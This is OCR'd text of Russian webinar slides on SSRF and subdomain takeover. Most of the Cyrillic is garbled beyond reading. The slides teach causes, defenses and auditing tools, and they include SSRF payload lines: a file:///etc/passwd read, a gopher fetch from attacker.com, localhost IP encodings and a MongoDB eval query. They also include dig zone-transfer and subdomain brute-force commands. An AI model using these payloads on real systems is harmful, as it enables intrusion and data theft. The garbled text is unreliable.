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[lpoBepuTb, UAET 1 3anuchb!




YA3BMMOCTMU KJlacca:

Server Side Request Forgery (SSRF)
Subdomain Takeover

Cepreu [onnukos

Head of Backend

Alyce Inc

arey2k@gmail.com telegram: @grey_2k



mailto:grey2k@gmail.com

[lpenopaBaTenb

Cepreun Nonnukos

*  [lporpammupyto ¢ 14 nert.
* 8 net onbiTa Ha Python/PHP/JavaScript/Kotlin n HemHoro Go.
* 5 neT 3aHMMaloCb apxXUTEKTYPOK, BHeApeHneM npakTnk DevOps n ontumMusaumen

‘ PyKOBO,EI,I/IJ'I oTAesiIomM pa3pa60TKM XOCTUHIa U pernctpartopa goMeHHbIX UMEH Beget.com

obecneynan 6e3onacHocTb napka 500+ cepBepoB, perynsipHo pabotanu no nporpaMmmam
BugBounty

*  PykoBo)Xy backend komaHAHOM 1 pa3pabaTbiBato apXUTEKTYPY AN reo-pacnpenesieHHoro
AMepuKaHckoro ctaptana Alyce.com.

E>xeroqHO rotoBUMCS M NPOXoANM ayamnT 6e30nacHOCTU SOC2 , BeHAop - Veracode.com



[lpaBuna BebuHapa

AKTUBHO ydyacTtByeM U AeESTIUMCA OlNbITOM

3afaeM BOMNpoOC B YaT UM roJ10OCOM

Off-topic o6cyxaaem B Slack #web-security-2020-07

Bonpochkbl BUXY B YaTe, MOI'y OTBETUTb He Cpasy


https://otus-is.slack.com/archives/G017USUUTKL

Llenn BebuHapa | [locne 3aHATUS Bbl CMOXeETE

1 HaxoauTb ya3BMMOCTM U 3almuiaTbesa oT SSRF aTak

2 3awmuatb web-npunoxxenus ot Subdomain Takeover atak



CmMbicn | 3ayeM BaM 3TO YMETb

1 [Mo3BONUT BaM NPOeKTUPOBaTb 6€30MnacHble NPUNoXKEHUSA

2 Buaetb noteHunanbHble YA3BUMOCTU TaM e Ka>KeTcqd UxX HeT



- SSRF
- MeTogonorna BOSHNKHOBEHUA
- Bupbl yazsumocTen
- Bunabl 3alnTbl N HanNpaBJ/ieHMe aTakK

- WHCTpyMeHThI

- Subdomain Takeover
- MeTtoponorms BO3SHUKHOBEHUA

- Bupbl akcnnyaTaummn n 3awjmTa

- WHCTpyMeHThI
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MeTogonoruss BO3HUKHOBEHUSA

Internal Server
(secret.acme.org)

Web Server
(acme.org)



MeTogonoruss BO3HUKHOBEHUSA

SSRF (server side request forgery) — 310 3KCMN/IOMT, C MOMOLLIbIO
KOTOPOro MOXHO 3aCTaBUTb YA3BUMOE NPUNOXeHWe caenatb 3anpoc
Ha npegocTtaB/ieHHbI URL. Tak MOXHO Mony4ynTb AOCTYN K

BHYTPEHHUM CJ'IY)K6aM NN AaHHbIM, HEOOCTYMNMHbIM A4 06bIYHOIO
MNoJib30OBaTeJlIA.

MocTOAHHO 06HapPY)XMBAIOTCS B CEPbe3HbIX NPOAYKTaX

nttps://hackerone.com/reports/341876 — 25 000S
https://hackerone.com/reports/374737 — 3 5008
https://hackerone.com/reports/398799 — 4 000S
nttps://hackerone.com/reports/288353 — 1 5008



https://hackerone.com/reports/341876
https://hackerone.com/reports/374737
https://hackerone.com/reports/398799
https://hackerone.com/reports/288353

MeTogonorusa BO3HUKHOBEHUSA

OcobeHHOCTHU Ai3blKa
Bbi3oBbl BHelHUXx ckpuntoB (Remote code execution unu remote file inclusion RFI)

Filesystem and Streams Configuration Options

Name Default  Changeable Changelog
allow_url_fopen sl PHP_INI_SYSTEM
allow_url_include "0" PHP_INI_SYSTEM Available since PHP 5.2.0. Deprecated as of PHP 7.4.0.

https://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen



https://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen

MeToagonorusa BO3HUKHOBEHUSA

HecoBeplueHHble MeToAbl 3aLLUTbI

- HepocTtaToyHas Banuaaums (CaHMTaLmMs) BXOASALWMX AaHHbIX
-  Mcnonb3oBaHWe YepHOro crnucka
- otcyTtcTtBMe DMZ Ha ypoBHe ceTu
- MOHOJIUTHbIE apXUTEKTYPbI NPUITOXKEHWNI
- paspelleHue ucnonb3oBaHus IP B 3anpocax
- paspelleHune Ucnosib3oBaHMsA NPOTOKOIOB U NMOPTOB B 3anpocax
- ftp://
- file://
- gopher://
- UT.4



MeToagonorusa BO3HUKHOBEHUSA

PaspeweHue IP agpecos (address to number, DNS)

- 127.0.0.1

- localhost

- 0x7f000001

- 2130706433
-0

- 1271

- 127.0.1

- ©22.0.0.0
- 000.0.0.0

- localtest.me (u apyrue, yepes DNS)

grey2k@grey2k-zhook:~$ ping localtest.me
PING localtest.me (127.0.0.1) 56(84) bytes of data.

64 bytes from localhost (127.0.0.1): icmp seq=1 ttl=64 time=0.051 ms
04 bytes from localhost (127.0.0.1): icmp seq=2 ttl=64 time=0.069 ms




Buabl SSRF

Non-Blind
- caMble onacHble
- MOXHO NOMYyYUTb OTBET Ha 3anpoc
- NIerko aKcnayaTupoBaTtb

Semi-Blind
- MOTYT AaTb aTakyloLleMy AOMNOSTHUTENbHYHO MHDOPMaLUIO
- MOTYT BEpPHYTb cO0bLLEHMS 06 OLIMOKax , Banuaauuu
- HaxoAATCs, HO He BCerga MOXXHO 3KCrJyaTMpoBaTtb

Blind
- HeT MHdopMaLun B OTBETE
- CNTOXHO nccnepoBaTb
- CJTIOXHO aKcnnyaTupoBaThb




Ataku Non-Blind

MNMop6op payload
LFI
/?url=file:///etc/passwd HTTP/1.1

Gopher
https://example.com/ssrf.php?url=http://attacker.com/ssrf/gopher.php

OpenRedirect
/?url=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://
192.168.0.68/admin

NoSQL http API (MongoDB)
/?url=http://127.1:28017/test/Scmd/?filter eval=ret="collections ";db.getCollecti
onNames () . forEach (function (x) {ret=ret%2bx%2b"."});

CkaHepbl Ha yazeumocTtu (CMS, Apps, NoSQL n T.4)
https://sca.analysiscenter.veracode.com/vulnerability-database/search



https://sca.analysiscenter.veracode.com/vulnerability-database/search

Ataku Blind & Semi-Blind SSRF

CkaHupoBaHMue NopToOB U KOAbI OLUNOOK
connection refused, connection close, timeout

Rebind DNS

make-123.123.123.123-rebind-127.0.0.1-rr.lu.ms

Multiple DNS records wnu round-robin

my-test-site.com 192.168.1.1

my-test-site.com 172.217.20.46

OTKa3 B 06cny)xmBaHum

- Out of Memory
- Infinite request



3awiuta ot SSRF

Buabl 3aW,UTbl

- WcnonbsosaHue white-lists URL

- Wcnonb3oaHue cBoero DNS cepBepa

- CeteBoit nepumeTp (DMZ + Intranet)

- Bce nopTbl 3aKpbITbl No-ymonyaHuto (Firewall)
- Hwudero He Bo3BpalLanTe B OTBET

- NoSQL c aBTopuzaument (MongoDb, Redis)

- [1BYX3BEHHbI€ apXMUTEKTYpbI




3awuTa ot SSRF

External

'.

ASM Core

Firewall Routes Web Server Firewall Routes SQL
Traffic to DMZ Traffic on Specific o vre
External Users Porty ‘_‘

<

Y= Internal Users
Virtual Directory
with Anonymous ASM Core

Authentication Web Server




[Mouck yaseumocTteun

Korga ctouT 3agymartbcs 0 noteHuuanbHou SSRF?

- [lpn peanusaunun mexaHmama webhooks nnu url-callback

- Npu o6paboTKe hopMaToB, ocHOBaHHbIX Ha XML (ya3BumocTb XXE);

- [lpu peHaepe CKPUHLIOTOB CanTOB

- [lpu paboTe ¢ BUAeO N N306paXKeHUsIMU

- 3arpyska fiaHHbIX N3 BHELWHNX NCTOYHNKOB

- 3arpyska nnaruHoB, A3bIKoB, WabnoHoB, TeM u T.4 (LFI, RFI)

- Bcerga npu otnpaBke 3anpocoB Ha NpefocTaB/iieMbln NOSIb30BaTe/IEM ajpec.

Jliro601 nn 3anpoc SSRF?

- HeT, ecnu Bbl He MOXXeTe foKa3saTb CI)aKT B/INAHNA Ha 6€30MNaCHOCTb - TO 3TO
CI)yHKLI,VIOHaJ'IbHOCTb, d HE YA3BUMOCTDb



MHCTPYMEHTDI

Burp Intruder Repeater Window Help
[ Target | Proxy | Spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Options | Aterts |

Bu rp Suite [ intercept | HTTP nistory. | webSockets history | Options |
WHCTpyMeHTapun Anda neHTecTUHra

_ h.t.t rox # 4| Host | Method | URL | Params | Edited | Status
p p y 51 hitps/iportswigger.net GET Iourp/ O O 200
52 hitps://portswigger.net GET /screenshotsith_proxy_1.png =) = 200
= S C a n n e r tO O I S 53 | https//portswigger.net | GET Jcss/normalize.min.css ) O 200
. . . 54 hitps://portswigger.net GET /screenshotsith_scanner_3.png =) =) 200
- p ayl O a d d I C‘t I O n a rl eS 55 https://portswigger.net GET Icssips.css O ] 200
56 https://iportswigger.net GE% Iscreenshotsith_scanner_1.png (| = 200
_ C I tOO I S 57 https://portswigger.net GET Jcssislimbox/slimbox2.css O ] 200
58 hitps://portswigger.net GET Icssiportswigger-logo.gif C] E] 200
59 https:/iportswigger.net GET Iscreenshotsith_intruder_3.png d d 200
- e‘t C. 60  https:/iportswigger.net GET  [jsislimbox2js g [J 200
61  hitps:/iportswigger.net GET fisfiquery.js O [J 200

== =7

Request | Response
JRaw I Params THeaders Hex

5ET /css/normalize.min.css HTTP/1.1
Gccept: text/css, */*
Referer: https://portswigger.net/burp/

4 t-L J -us
nnﬂ aHan“3a KOAa JZ::eAge:zguggjil;:/S.o (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

https://qithub.com/quardrailsio/awesome-php-security s rercssigeer-nes
Connection: close

https://qithub.com/lirantal/awesome-nodejs-security Cookie: ga=GhL. 3. 771645784, 1456084336

na aHanu3sa 3aBUCMMOCTEN
https://snyk.io



https://github.com/guardrailsio/awesome-php-security
https://github.com/lirantal/awesome-nodejs-security
https://snyk.io

MHCTPYMEHTDI

grep
HaXxoAunM NnoTeHumnasibHO OlMnacHbIle d)yHKLI,VIVI B UCXOAHUKAX NMPOEKTa

grep -nrE 'curl|fget\ (|fopen\ (|file get contents\( |include\ (|require\ (' --include \*.php app/

resources/

tcpdump

nosum DNS oTcTyK

tcpdump -1 ‘udp port 537
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MeTogonoruss BO3HUKHOBEHUSA

Nice find! }

CNAME app-1337.hosting.net
>

Sudbdomain:talkemever

subdomain.company.com app-1337.hosting.net

\

company.com



MeTogonoruss BO3HUKHOBEHUSA

DNS CNAME

KaHoHuyeckas 3anmcb MMeHn (cokpalieHHo CNAME record) - aTo Tun
3anuncum pecypca B cucteMe gomMeHHbIX meH (DNS), koTopas
COMOCTaBJ/IAET OAHO AOMEHHOE UMS (NCEBAOHMM) C APYrUM
(KAHOHUYECKUM UMEHEM)

Name Type Value
blog.example.com CNAME example.com
www.example.com CNAME example.com

example.com A 128.0.4.80



JKcnnyaTtauus

AWSS3: 114 %

AWS Elastic Beanstalk: 0.5 % \
Microsoft Azure: 3.8 %

WP Engine: 22.4 % \

AWS CloudFront: 21.5 %

Shopify: 5.7 % il

GitHub: 9.6 %

Heroku: 25.1 %



JKcnnyaTayus

Kpa)ka cookie

Ha nogaomMeHax AocTynHbl cookie Buga *.domain.com
B TomM uuncne secured & http-only cookie

SSL Mo)kHO TakXXe ucnonb3oBatb (Let's Encrypt)
https://community.letsencrypt.orqg/t/lets-encrypt-free-ssl-on-a-subdomain-possible/73550

CORS, Allow-Origin aTaku

Ecnun paHee nogAoMeH Haxogunca B CMCKe paspeLleHHbIX TO MeXaHU3Mbl 3aWMUThl
6paysepa n web-server 6yayT 6ecnosesHbl

OULLKHT U coL. UHXXeHepusa

UJMpOKMe BO3MOXHOCTHU OJ1 KpaXu naponel}i N NepcoHalibHbIX AaHHbIX


https://community.letsencrypt.org/t/lets-encrypt-free-ssl-on-a-subdomain-possible/73550

IOns npoekToB - ayaut DNS 3anuceun

PerynapHo npoBoguTb PpeBU3UIO N yaanieHne HeaKTyallbHbIX 3anncen Ha DNS
Ons nposanaepos

- Bepudukauma no ocCHOBHOMY JOMEHY
- [eHepauunsa JOMeHOB Npu pernctpaumm (6es nepeceveHmnin)



MHCTPYMEHTDI

dig - ecnu paspelueH zone transfer Ha DNS (axfr)

trusted—-nameservers {

example.com {
master;

dig example.com

dig @a.iana-servers.net example.com axfr




MHCTPYMEHTDI

dig

pasnnyHble cueHapum bruteforce

zone=example.com
dig +short any $zone

sub in mail pop imap webmail ftp www (add

more) ;
dig +short any S${sub}.$zone

C nomouwyblo online cepsucos

https://dnsdumpster.com/



https://dnsdumpster.com/

Pednekcus

C KaKUMW1 OCHOBHbIMW MbICNTAMU N UHCANTaAMMU
yXoauTte c BebuHapa?

x

? [locTurnu nv Bbl Lenm BebuHapa?
o



Llenin BebuHapa | [lpoBepka AOCTUIXXEHUS Lienen

1 HaxoauTb ya3BMMOCTM U 3almuiaTbesa oT SSRF aTak

2 3awmuatb web-npunoxxenus ot Subdomain Takeover atak



Cnucok MaTtepuanoB ans nsydyeHus

https://ma.ttias.be/silly-little-ip-tricks/

=  https:/linux.die.net/man/3/inet_aton
https://habr.com/en/company/tomhunter/blog/456892/

https://blog.securityinnovation.com/the-many-faces-of-ssrf

https://portswigger.net/web-security/ssrf
https://bo0om.ru/blind-ssrf
https://docs.google.com/document/d/1v1TkWZtrhzRLyObYXBcdLUedXGb9njTNIJXa3u9akHM

https://wiki.cyberschool.msu.ru/wiki/Beb-6e3onacHocTb/ATaku._SSRF

https://docs.microsoft.com/ru-ru/azure/security/fundamentals/subdomain-takeover

https://0xpatrik.com/takeover-proofs/

https://www.hackerone.com/blog/Guide-Subdomain-Takeovers

https://ctflearn.com



https://ma.ttias.be/silly-little-ip-tricks/
https://linux.die.net/man/3/inet_aton
https://habr.com/en/company/tomhunter/blog/456892/
https://blog.securityinnovation.com/the-many-faces-of-ssrf
https://portswigger.net/web-security/ssrf
https://bo0om.ru/blind-ssrf
https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM
https://wiki.cyberschool.msu.ru/wiki/%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%90%D1%82%D0%B0%D0%BA%D0%B8_SSRF
https://docs.microsoft.com/ru-ru/azure/security/fundamentals/subdomain-takeover
https://0xpatrik.com/takeover-proofs/
https://www.hackerone.com/blog/Guide-Subdomain-Takeovers
https://ctflearn.com

Cnepyow,un Be6uHap

Tema: YasBumocTu knacca: XXE

°ge| 25.08

0(? Ccblnika Ha BebuHap 6yaet B JIK 3a 15 MUHYT

g’z = MaTtepuanbl K 3aHATUIO O6a3aTenbHbIN

B JIK — MOXXHO M3yyaTb MaTtepuan o603HayeH
KpacHOW NeHTOU
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Cnacunbo 3a BHMMaHue!
[lpuxoanTe Ha cnepyrowme nekumn

Cepren ['onnunkos

>y Head of Backend
~—~ Alycelnc

arey2k@gmail.com telegram: @grey_2k



mailto:grey2k@gmail.com

